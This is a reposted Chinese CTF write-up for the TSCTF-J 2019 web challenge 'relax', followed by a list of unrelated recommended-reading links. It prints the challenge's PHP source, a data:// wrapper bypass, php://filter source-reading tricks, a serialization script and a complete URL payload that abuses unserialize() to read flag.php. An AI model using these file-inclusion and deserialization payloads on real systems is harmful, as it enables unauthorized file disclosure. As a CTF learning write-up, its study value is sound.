【TSCTF-J 2019】relax
程序员文章站
2022-03-09 21:04:33
...
打开是个没用的网站,扫描一下~
访问/robots.txt
,发现三个文件:
User-agent: *
Disallow: /relax.php
Disallow: /heicore.php
Disallow: /flag.php
其中只有/relax.php
里有东西,查看源码:
这个是aaencode
代码,直接扔进控制台运行,或者在线解密:https://www.qtool.net/decode
整理得:
$_ = $_GET['pw'];
$__ = $_GET['file'];
$___ = $_GET['(><)'];
if (isset($_) && (file_get_contents($_, 'r') === "Two thousand three hundred and thirty-three")) {
echo '<img src="./images/13.jpg" alt=""><br>';
include($__);
} else {
echo '<img src="./images/1.gif" alt="">';
}
其中file_get_contents($_, 'r') === "Two thousand three hundred and thirty-three"
可以用data://
伪协议绕过;
下面还有个include($__);
,想用file=flag.php
用include
来包含flag,却回显“It’s not that simple”,是我太天真了!
于是构造php://filter
伪协议来读取heicore.php
和relax.php
的源码
heicore.php:
<?php
class Heicore{
public $file;
public function __destruct(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
}
}
relax.php:
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$_ = $_GET['pw'];
$__ = $_GET['file'];
$___ = $_GET['(><)'];
if(isset($_)&&(file_get_contents($_,'r')==="Two thousand three hundred and thirty-three"))
{
echo '<img src="./images/13.jpg" alt=""><br>';
if(preg_match("/flag/i",$__))
{
echo "It's not that simple";
exit();
}else{
include($__);
unserialize($___);
}
}else
echo '<img src="./images/1.gif" alt="">'; } ?>
终于拿到了完整的源码,的确是过滤了flag
可以看到heicore.php
中的析构函数会输出$file
,所以把它包含进来,并让其成员$file
等于flag.php
,由于调用了函数unserialize()
,我们就利用反序列化触发魔术方法__destruct()
来输出flag;
<?php
class Heicore {
public $file = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
$a = new Heicore();
$b = serialize($a);
echo $b;
#O:7:"Heicore":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
构造的payload:
?pw=data:text/plain,Two%20thousand%20three%20hundred%20and%20thirty-three&file=heicore.php&(><)=O:7:"Heicore":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
解base64
推荐阅读
-
2019支付宝五福怎么集 支付宝集五福活动攻略
-
2019 杭州跨境电商展览会 —— 共享全球资源
-
动动省出席2019丝绸之路国际合作首尔论坛,为跨境电商升级辟新路
-
Autodesk Point Layout 2019免费破解安装详细教程(附注册机下载)
-
联通营业厅app怎么查看2019年度账单?
-
西华师范大学公费师范生2019年录取分数线(2020招生计划):是一本还是二本?
-
2019年9月蚂蚁森林在联合国获得了什么奖 蚂蚁庄园1月16日答案
-
Autodesk Alias Surface 2019 中文破解版安装激活详细图文教程
-
2019淘宝年度账单怎么看 搜索"你绝对不想知道的事"抽一年无理由免单权
-
Autodesk Vred Professional 2019 64位安装破解详细图文教程